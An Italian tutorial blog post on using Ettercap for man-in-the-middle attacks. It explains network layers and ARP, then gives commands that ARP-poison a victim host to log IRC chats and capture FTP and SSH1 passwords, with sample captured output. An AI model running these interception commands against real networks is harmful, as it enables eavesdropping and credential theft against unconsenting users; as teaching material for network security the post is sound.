ETTERCAP-NG (MITM parte seconda)

ETTERCAP-NG (MITM parte seconda).
CONTINUA L'AVVENTURA NEI PANNI DEL CATTIVO.....

Ettercap, un tool completamente e totalmente Italiano. La suite per eccelenza prediletta per gli attacchi MITM (uomo di mezzo), la quale offre diverse modalità per operare in qualunque condizione e su ogni interfaccia disponibile. Ettercap nasce come strumento di analisi ma può essere utilizzato in modo molto diverso a seconda di chi lo impiega. Del resto per operare nel bene si utilizzano da sempre strumenti offensivi, quindi bene e male si possono definire tranquillamente le due facce della stessa medaglia. ETTERCAP è presente nei pacchetti di ogni distribuzione, in particolare su sistemi di analisi e testing delle reti, le sue dipendenze vengono cosi risolte automaticamente durante l'installazione ma alcune librerie è meglio verificarle in quanto ettercap potrebbe farne a meno proprio a seconda dell'impiego. Per un tool di attacco dobbiamo verificare lcune librerie importanti come libnet, libtool, openssl e naturalmente libpcap. Dopo aver installato ettercap possiamo utilizzarlo lanciandolo da terminale con i privilegi di root, e possiamo usufruire di più interfacce a seconda del comando lanciato, ad esempio:

# ettercap -T per avviarlo in modalità testo
# ettercap -C per avviarlo con le ncurses
# ettercap -G per avviarlo su X utilizzando una GUI

Quindi se siete su un terminale lanciatelo con -C , se invece avete una sessione grafica avviata potete tranquillamente utilizzare -G. Nel caso dell'interfaccia con ncurses ricordate che potrete navigare tra le finestre con il tasto TAB mentre per uscire oltre dal menu possiamo utilizzare Ctrl-Q, da notare che se ettercap -C viene lanciato su xterm possiamo anche utilizzare il mouse.



ANALISI DI ETTERCAP
Vediamo adesso alcune delle sue funzioni ed il suo utilizzo in genere, non rinunciate proprio adesso. Sotto il menù "Sniff" troverete due possibilità: "Unified Sniffing" e "Bridged Sniffing", analizziamoli entrambi per capire il loro significato.



UNIFIED SNIFFING
Scegliendo questa opzione Wttwrcap prenderà tutti i pacchetti in transito sul cavo, ne verificherà la destinazione e se non sono diretti alla macchina dalla quale stiamo operando, li direzionerà direttamente sulla rete. Scegliendo questo tipo di di sniffing l'IP Fowarding verrà logicamente disabilitato, questo per evitare che un pacchetto venga rimandato all'host di destinazione due volte, una da Ettercap e una dal Kernel. Gli autori ci avvisano anche di utilizzare con attenzione questa modalità se ci troviamop su un Gateway, questo perchè Ettercap ascolta il traffico su una singola interfaccia di rete e su una macchina dotata di più interfacce, non sarebbe possibile ri-routare il traffico nelle giuste direzioni. Quindi, se vi trovate su un Gateway, prima di iniziare lo sniffing, andate sul menù Optins e selezionate l'opzione "Unoffensive" (che dice ad Ettercap di NON disabilitare il packet fowarding del kernel). Una volta avviato lo sniffing dal menù "Start" potremo operare tutti i tipi di attachhi MITM (man-in-the-middle) che il programma mette a nostra disposizione.



BRIDGED SNIFFING
Come suggerisce il nome stesso, in questa modalità sarà possibile effettuare lo sniffing del traffico utilizzando la nostra scheda di rete in modalità bridge, avremo quindi bisogno di due interfacce dal momento che quella che viene posta in bridged mode diventerà completamente trasparente al traffico, e quindi non sarà possibile utilizzarla per manipolare i pacchetti. Questa opzione, sebbene presenti lo "svantaggio" di dover disporre di due schede di rete, rende le nostre operazioni assolutamente invisibili agli altri.... Ma prima di entrare nel dettaglio, abbiamo bisogno di conoscere le basi di una rete di computer.



RETI LAYER E HUB
Una rete, supponiamo per il momento che sia solo la nostra LAN o quella che abbiamo in ufficio, è un insieme di layer (cioè livelli), ognuno dei quali svolge un compito diverso. A seconda dei casi una rete può essere considerata come un sandwich di 5 o 7 layer differenti, ma nel nostro caso avremo bisogno soltanto di conoscerne i primi 4, che in ordine sono:


Layer 4 Trasporto
Layer 3 Network
Layer 2 Datalink
Layer 1 Fisico

Il primo layer viene utilizzato per il trasporto dei segnali elettrici che rappresentano i dati che viaggiano sulla rete, questi segnali (che in genere sono onde quadre) viaggiano da una parte all'altra tramite cavi, raggi laser, onde elettromagnetiche o raggi infrarossi, quindi la trasmissione del segnale fa parte del Layer Fisico. Questo Layer si occupa del controllo dei segnali, verifica che non ci siano stati problemi e si accorge se un segnale è arrivato disturbato a causa di collisioni o problemi sul mezzo di trasporto. Il secondo Layer diventa un pochino più astratto, su questo livello viaggiano i pacchetti Datalink, nel caso di una LAN Ethernet (ne esistono svariati altri tipi) questi pacchetti hanno una lunghezza fissa e contengono, oltre la parte riservata ai dati, un indirizzo sorgente e uno destinazione detti MAC Address (Media Access Control Address), lunghi 48 bit, ad esempio:

0A:55:84:F2:68:51.

Ogni scheda di rete ha un MAC Address unico in tutto il mondo, ed esistono alcune normative per evitare che due aziende producono schede con lo stesso numero. È molto importante che il MAC sia univoco per evitare che sulla rete LAN vengano a crearsi problemi. Questo livello si preoccupa di effettuare un controllo sui dati dei pacchetti, per vedere se sono arrivati come ci si aspettava, in caso contrario ne richiede il rinvio. Il terzo LAyer è quello su cui dimora IP, il protocollo IP serve esclusivamente per la consegna del pacchetto, IP non conosce porte ne servizi, il suo unico scopo è quello di consegnare il pacchetto, se i dati sono rovinati o non arrivano, a lui non importa, diciamo che IP è una sorta di postino, lui fa di tutto per consegnare il pacco, ma se durante il tragitto viene derubato, allora non dice nulla (IP non può semplicemente sapere che un pacchetto è andato perso). Un pacchetto IP è formato da un header con varie opzioni, un indirizzo sorgente e uno di destinazione lunghi 32bit, che sicuramente avrete visto, ad esempio: 192.168.1.1 è un indirizzo IP, anche se abbiamo rappresentato l'indirizzo MAC separato da ":" e l'indirizzo IP separato da ".", ci terrei a ricordare che è una convenzione per noi umani, alle macchine questo non interessa perchè nel pacchetto, a seconda del livello in cui si trovano, non faranno altro che leggere un numero più o meno lungo. Il quarto Layer, detto anche Layer di Trasporto, è rappresentato dal protocollo che si occupa di portare a destinazione, integri, tutti i bit del payload. I più noti, e che sicuramente conoscerete sono: TCP e UDP. Quando sentite qualcuno che vi chiede di collegarvi ad una macchina sulla porta XX, allora si sta sicuramente riferendo al Layer 4, è infatti questo livello che "conosce" ed utilizza le "porte". Mentre TCP e UDP in particolare si preoccupano di consegnare i dati con una sostanziale differenza: TCP instaura una connessione, e alla ricezione di ogni pacchetto invia una conferma, grazia a queste procedure il TCP garantisce la consegna dei dati (sempre che la linea non sia interrotta, o la macchina spenta, ma in questo caso TCP ce lo direbbe immediatamente). UDP, invece, consegna i dati su una determinata porta senza preoccuparsi se arrivino o meno a destinazione, se un pacchetto UDP si perde, non lo sapremo mai, ma se arriva siamo sicuri che i dati in esso contenuti sono esattamente quelli inviati e non contengono alterazioni. L'assenza di una connessione con conferma di arrivo rende UDP più veloce, e quindi appetibile su protocolli dove la latenza è importante (protocolli realtime o di online gaming), mentre TCP è preferibile dove è necessario sapere si i dati sono arrivati o meno (immaginate di inviare una mail e sentirvi dire che è arrivata a pezzetti, non ne sareste di certo felici). Tenete a mente che l'assenza di una connessione con conferma rende l'UDP molto più vulnerabile ad attacchi di tipo MITM rispetto al TCP.



RETE A CIPOLLA
Se non conoscevate questa distinzione sono sicuro che ora la vostra concezione di rete è leggermente cambiata, perchè messa sotto quest'ottica i pacchetti diventano delle cipolle più che dei contenitori di dati. Vi siete chiesti il perchè? Immaginate una rete formata da un PC collegato ad un router collegato su Internet, noi stimao navigando su unn sito Web e vogliamo scaricare un file, al momento del click sul nome del fle all'interno del nostro browser, viene costruito un pacchetto di richiesta, le fasi sono queste: a livello 4 il pacchetto verrà marcato con la porta di destinazione 80 (Web), verrà riempito con la nostra richiesta di download e quindi il controllo verrà passato al Layer 3, questo layer metterà un etichetta sul pacchetto scrivendoci sopra il nostro IP come sorgente, e quello del sito in questione come destinazione. Ora si scende a Layer 2, dove il pacchetto viene imbustato in un pacchetto datalink sul quale verrà scritto come indirizzo sorgente il nostro MAC e come destinazione non verrà scritto l'indirizzo MAC del sito perchè noi non possiamo conoscerlo (sappiamo infatti solo il suo IP), ma verrà scritto l'indirizzo MAC della macchina che invierà sulla rete Internet il nostro pacchetto, in questo caso quello del router. Ed ora il Layer 1 invierà un segnale che verrà inoltrato sul cavo. La scheda di rete del router vedrà il segnale (Layer 1), lo leggerà, e verificherà che si tratta di un pacchetto datalink (Layer 2)destinato a lui (in caso contrario verrebbe ignorato), quindi prende nota del mittente, scarta l'intestazione MAC e ne legge l'IP, preleva questo pacchetto (a layer 3) e lo invia su Internet. Dopo pochi millisecondi il server del sito lo vedrà in arrivo sulla porta 80 (di nuovo layer 4), scarterà l'intestazione del TCP, leggerà il contenuto del pacchetto e ci invia il file. Tutto questo in pochissimi millisecondi. Considerate ora una LAN con più di due PC, per collegarli tra loro saprete che è necessario un Hub o uno Switch. Guardandolo, a meno che non ci sia scritto sopra, non potrete capire se si tratta di un Hub o uno Switch, anche se potrebbe sembrare un dettaglio da nulla la differenza tra questi due dispositivi è enorme. Un Hub innanzitutto funziona soltanto a Layer 1, è praticamente un ripetitore di segnali, non si preoccupa di leggere il pacchetto in se, lui ascolta per un segnale e poi lo ripete su tutte le porte. Se su un Hub il segnale arriva sulla porta 2, verrà amplificato e ritrasmesso su tutte le altre porte ad eccezione di quella sorgente. Sapete questo cosa vuol dire? Che con pochi accorgimenti, possiamo leggere il traffico di tutti gli altri, anche quello non destinato a noi. Uno Switch invece funziona a Layer 2 (i più costosi anche a Layer 3), ciò vuol dire che il dispositivo deve poter leggere il pacchetto per poterne trovare il MAC sorgente e il MAC di destinazione, se vi state chiedendo a cosa serve leggere il pacchetto, presto detto: sapendo a chi è destinato non siamo costretti a ritrasmettere il segnale su tutte le porte, ma lo invieremo soltanto sulla porta dove è attaccato il nostro destinatario. Su uno Switch non è quindi possibile (con le conoscenze acquisite fino a questo punto) ascoltare il traffico che arriva sul PC degli altri utenti, semplicemente perchè questo traffico non giunge mai sul nostro cavo. Uno Switch, inoltre, consente di ottenere una LAN più efficente perchè non si hanno più collisioni sui pacchetti, come, invece, avviene spessissimo con gli Hub. E un Bridge? Un Bridge è un dispositivo molto simile ad uno Switch, lavora a Layer 2 ma serve (in genere) a collegare tra loro due LAN che usano protocolli diversi, è completamente trasparente al traffico perchè non è raggiungibile tramite un indirizzo IP o MAC, ed il suo lavoro è "semplicemente" quello di tradurre i pacchetti da un protocollo all'altro, se necessario, e metterli sulla giusta rotta. È molto importante conoscere il funzionamento di una rete se vogliamo capire come fa a funzionare uno sniffer, e cos'è un attacco MITM, ora che tutto è stato spiegato, possiamo tornare a divertirci coin Ettercap.



SNIFFING E MITM
Per sniffare il traffico è necessario un solo accorgimento, a Layer 2 la nostra scheda di rete semplicemente ignora i pacchetti che non hanno come MAC di destinazione il nostro MAC. Come ovviare? Basterà mettere la scheda in modalità promiscua, tale modalità farà si che la scheda invii al kernel tutti i pacchetti che attraversano il cavo, siano essi destinati a noi o meno. Non è assolutamente difficile, dotatevi dei privilegi di root e fate:
# ifconfig eth0 (eth0 varia con il nome della propria interfaccia)
naturalmente l'output elencherà la vostra scheda di rete elencando il MAC e IP associato, inoltre altri dati tra cui la voce "UP BROADCAST MULTICAST" la quale indica che la scheda non è in modalità promiscua, e quindi rimediamo con:

# ifconfig eth0 promisc

a questo punto noteremo che la scheda è in modalità promiscua visualizzando con ifconfig eth0 la voce precedente cambia in "UP BROADCAST PROMISC MULTICAST" quindi da questo momento tutti i pacchetti saranno letti dalla scheda di rete, non è comunque necessario fare questo a mano, Ettercap lo farà per noi, perciò rimediamo e togliamo la modalità promiscua inserita pre l'esempio con:

# ifconfig eth0 -promisc

ecco fatto, tutto tornato come prima. Proviamo quindi ad avviare una sessione di sniffing, apriamo una console e digitiamo:

# ettercap -Tp (avvia in modalità testo e promiscua)

Tutti i pacchetti saranno stampati a schermo, bloccate tutti i vostri download e cercate di guardare gli indirizzi, se vedete dei pacchetti in cui voi NON siete presenti nè nella destinazione nè nel sorgente, allora vi trovate su un Hub, se, invece, non vedete del traffico "estraneo" allora siete su uno Switch, cosa si fa allora? Nessun problema, con un pò di intuito scoprirete che trovare una soluzione non è affatto difficile. Mettetevi nei panni del router appena acceso, le sue tabelle saranno vuote, in quel medesimo istante arriva un pacchetto dalla rete Internet destinato ad un IP pubblico presente nella sua LAN ....Cosa fa? Crea un pacchetto particolare, destinato a tutti (tale pacchettosi chiama broadcast e da "tutti" è identificato con questo indirizzo FF:FF:FF:FF:FF:FF) con scritto dentro "who-has ip" cioè "chi ha questo ip?", tutte le macchine leggeranno il pacchetto ma risponderà soltantoquella che possiede l'IP cercato dicendo: "reply l'ip è a 01:02:03:04:05:06". Il router saprà quindi a quale MAC appartiene quell'IP e sarà in grado di creare un pacchetto Layer 2 per inviare la richiesta proveniente da Internet sulla rete LAN, verso l'IP cercato. La cosa è ura sicuramente più chiara, se su uno Switch non possiamo leggere il traffico destinato agli altri, perchè non ce lo facciamo mandare che è più comodo? Supponiamo quindi di voler ricevere tutto il traffico che la macchina "A" manda su Internet tramite il Gateway "G", noi siamo "B", come facciamo?



INDIRIZZI IP E MAC
Chiariamo la situazione disegnandoci una tabella dei corrispondenti IP e MAC:

Macchina MAC IP
A 01:02:03:04:05:06 192.167.1.10
B 11:12:13:14:15:16 192.167.1.31
G 21:21:23:24:25:26 192.167.1.1

Possiamo risolvere brillantemente il problema in due soli step:

Inviamo un pacchetto ad A dicendo: "reply 192.167.1.1 is at 11:12:13:14:15:16"
Inviamo un pacchett a G dicendo: "reply 192.167.1.10 is at 11:12:13:14:15:16"

I pacchetti vengono accettati? Certo! Non è necessario un arp-request perchè un computer modifichi la sua arp-cache (la tabella dove vengono mantenute le corrispondenze mac-ip) e se anche fosse necessario, bsterebbe poco per fargliene mandare uno. Dopo di che, G saprà che l'IP di A corrisponde al nostro MAC, e A saprà che l'IP di G corrisponde al nostro MAC. Perciò A invierà a noi credendo di inviare a G, e G invierà a noi credendo di inviare ad A. Manca qualcosa? Si, tutto il traffico che arriva a noi da uno dei due Host andrà reindirizzato verso l'altro, altrimenti non potrà instaurarsi nessuna connessione, questo si chiama: attacco MITM. Ovvero, qualcuno è nel mezzo della connessione..... E, ovviamente, può fare quello che vuole, se invece facciamo arp-poisoning su tutte le macchine della rete senza modificare il traffico, allora si tratta solo di sniffing.



ATTACCO MITM
Proviamo quindi ad effettuare un attacco MITM per sniffare una sessione IRC di una macchina della LAN, per far ciò dobbiamo aver chiaro in mente cosa succede: la macchina vittima si collegherà ad un server irc su Internet, ma, come abbiamo già spiegato, i pacchetti arriveranno al gateway e da li verranno inviati su Internet, quindi dovremo fare un attacco MITM tra la macchina vittima e il gateway, sulle porte classiche del servizio IRC, ciò in genere quelle che vanno da: 6666 a 6669, facciamo cosi (è indifferente l'interfaccia grafica usata, quindi non prendetela in considerazione perchè i comandi sono gli stessi), supponiamo che la macchina vitima sia 192.167.1.3:

# ettercap -T -L irc.log -M arp /192.167.1.3/ //6666-6669

In questa maniera diciamo a ettercap di avviarsi n modalità testuale (-T), loggare tutto il traffico sul file irc.log (-L irc.log), effettuare un attacco MITM tramite arp-poisoning, perchè nel mio lab la rete è cablata da uno Switch, altrimenti non potrei sniffare nulla (-M arp) e di leggere tutto il traffico proveniente dalla vittima (/192.167.1.3/) direttto a qualunque host (//) sulle porte che vanno da 6666 a 6669. Una volta avviato Ettercap colleghiamoci ad un qualunque server irc, mandiamo qualche messaggio di test, in seguito premiamo "q" sul prompt dove sta girando Ettercap ed esaminiamo il log, per farlo dovremo solo usare etterlog:

# etterlog irc.log.ecp

etterlog NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Log file version : NG-0.7.3
Timestamp : Mon Mar 15 18:05:23 2010
Type : LOG_PACKET

True Jan 26 18:48:50 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:ciao.


True Jan 26 18:48:51 2009 [766219]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:come va tutto bene?.


True Jan 26 18:48:58 2009 [765199]
TCP *.*.*.*:6666 --> 192.167.1.3:1958 | AP
:test!~test@P.it PRIVMSG test
:test sniffing.


Sulla prima riga troviamo la data, sulla seconda il tipo di connessione, l'ip sotgente, la porta di provenienza e l'ip di destinazione, "AP" sono i flag tcp. Grazie al logging siamo in grado di seguire per intero una conversazione che avviene su irc, e non solo, in maniera simile possiamo anche monitorare le password che, ad esempio, vengono utilizzate su un server ftp:

# ettercap -Tq -M arp /192.167.1.3/ //21

Cosi facendo diciamo ad Ettercap di avviarsi in modalità testo (-T) ma aggiungiamo il parametro "q" che serve a dire di non stampare tutto il traffico, verranno quindi stampate soltanto le password, ovviamente richiediamo il solito attacco MITM sull'host vittima verso qualunque ftp, ecco cosa succede alla prima sessione ftp:

FTP : 212.84.*.*:21 -> USER: mirko PASS: my_pass

Viene mostrata a schermo solo la password del server e questo grazie all'FTP dissector, ovviamente Ettercap supporta una serie di altri protocolli che sono: telnet, pop, rlogin, ssh1, icq, smb, mysql, http, nntp, x11, napster, irc, rip, bgp, socks 5, imap 4, vnc, ldap, nfs, snmp, half life, quake 3, msn, ymsg. A questo punto dovreste aver notato una cosa interessante..... È possibile visualizzare in chiaro anche il traffico ssh1, ma come si fa? ssh1 utilizza un meccanismo di scambio a chiave pubblica (o asimmetrica), che funziona in questa m,aniera:
Il client genera un numero casuale di 128-256 bit che sarà la chiave con cui verrà cifrato tutto il traffico. Il client richiede al server la propria chiave pubblica. Il client cifra il numero generato, con la chiave pubblica del server e gliela invia. Il serrver decifra con la sua chiave privata questo numero ed inizializza la sessione. Il precedente post con l'esempio di Bob, Alice e Mallory descrive questo meccanismo... ricordate?

Il meccanismo di scambio viene detto a chiave "asimmetrica" perchè tutto ciò che si cifra con la chiave pubblica di qualcuno, può essere desifrato solo con la sua chiave privata. Provate ora ad entrare nell'ottica dell'attacco MITM, questo meccanismo non garantisce affatto che la chiave ricevuta sia proprio quella del client.... Perciò sfruttiamo questa falla nell'autenticazione e comportiamoci in questo modo:

Arp-poisoniamo il client e redigeriamo su di noi il suo traffico. Arp-poisoniamo il server e facciamo la stessa cosa. Quando il client invia la sua chiave pubblica, al server inviamo la NOSTRA chiave. Quando il server invia al client la sua chiave pubblica, noi gli inviamo la nostra. Registriamo sia chiave pubblica del server che del client.

In questo modo il client cifrerà il traffico verso il server con la nostra chiave pubblica, e cosi farà anche il server. Saremo quindi in grado di spiare la connessione sia da client-server che da server-client (questo si dice Full-Duplex MITM), ovviamente tutto il traffico in arrivo su di noi verrà decifrato, loggato e quindi cifrato di nuovo con la chiave del server o del client. I due computer non noteranno nulla se quella è la loro prima connessione, ma se invece si tratta della seconda o successive, ssh in automatico ci avviserà che la chiave è cambiata, tuttavia molti utenti non tengono conto dell'avviso (pensando magari che la chiave è cambiata a causa di un aggiornamento di ssh) e quindi si espongono a questo tipo di attacco.


LA PRATICA
Ma vediamo in pratica come è possibile loggare le password o il traffico su un server ssh1. Nell'esempio vedremo un attacco MITM tra una macchina (192.167.1.8) e un server ssh1, avviamo Ettercap con questi parametri:

# ettercap -Tq -M arp /192.167.1.8/ //22

Diciamo cosi al programma di avviarsi in modalità testo, senza stampare tutti i pacchetti, di far un attacco MITM tramite arp-poisoning (sempre perchè il lab si trova su uno Switch) tra l'host 192.167.1.8 e tutte le connessioni che questo host fa sulla porta 22. Portiamoci quindi sull'host 192.167.1.8 ed apriamo una connessione ssh:

# ssh HYPERLINK "mailto:mirk@192.167.1.10"mirk@192.167.1.10

Vediamo subito che SSH ci avverte del cambiamento della chiave (perchè durante la prima connessione la chiave viene registrata), tuttavia scegliendo di accettare la chiave possiamo comunque procedere, ed eccone il risultato:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST
IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

IT IS POSSIBLE THAT SOMEONE IS
DOING SOMETHING NASTY!
Someone could be eavesdropping on
you right now (man-in-the-middle attack)!
It is also possible that the RSA
host key has just been changed.
The fingerprint for the RSA key
sent by remote host is
44:16:b4:d8:11:4d:cf:10:87:11:a0:58:25:63:c5:fa.
Please contact your system administrator.

Come da copione la password di ssh viene loggata all'istante:

SSH : 192.167.1.10:22 -> USER: mirk PASS: p4ssw0rD


CONCLUDENDO
Ma volendo anche tutto il traffico ssh sarebbe visibile, perciò potremmo spiare senza alcun problema tutta la sessione che sta facendo l'utente. E questo vale con ssh1, ma per ssh2? In questo caso viene utilizzato il Diffie-Hellman come algoritmo di scambio delle chiavi. Diffie-Hellman complica le cose perchè include dei check (firma digitalmente una chiave di scambio) per verificare che effettivamente la chiave ricevuta sia quella del client o del server, ma......
Per il momento fermiamoci quà, vedremo più avanti approfondimenti per vari protocolli ed altro, in particolare Ettercap che, ricordo a tutti, è un tool esclusivamente Italiano.... poi venitemi a dire che nessuno ficca il naso negli affari degli altri, non è cosi. Noi abbiamo inventato lo spionaggio e ce ne serviamo sempre, perciò qualunque cosa facciamo è pur sempre cosa "pubblica" sotto serti punti di vista, quindi sapere che questo avviene ci fa prendere altrettante precauzioni, a presto.

PS
Per visualizzare il comportamento di una sessione ssh vi rimando ad un esaudiente lezione: Come_effettuare_una_connessione_remota_SSH_da_Windows_a_Linux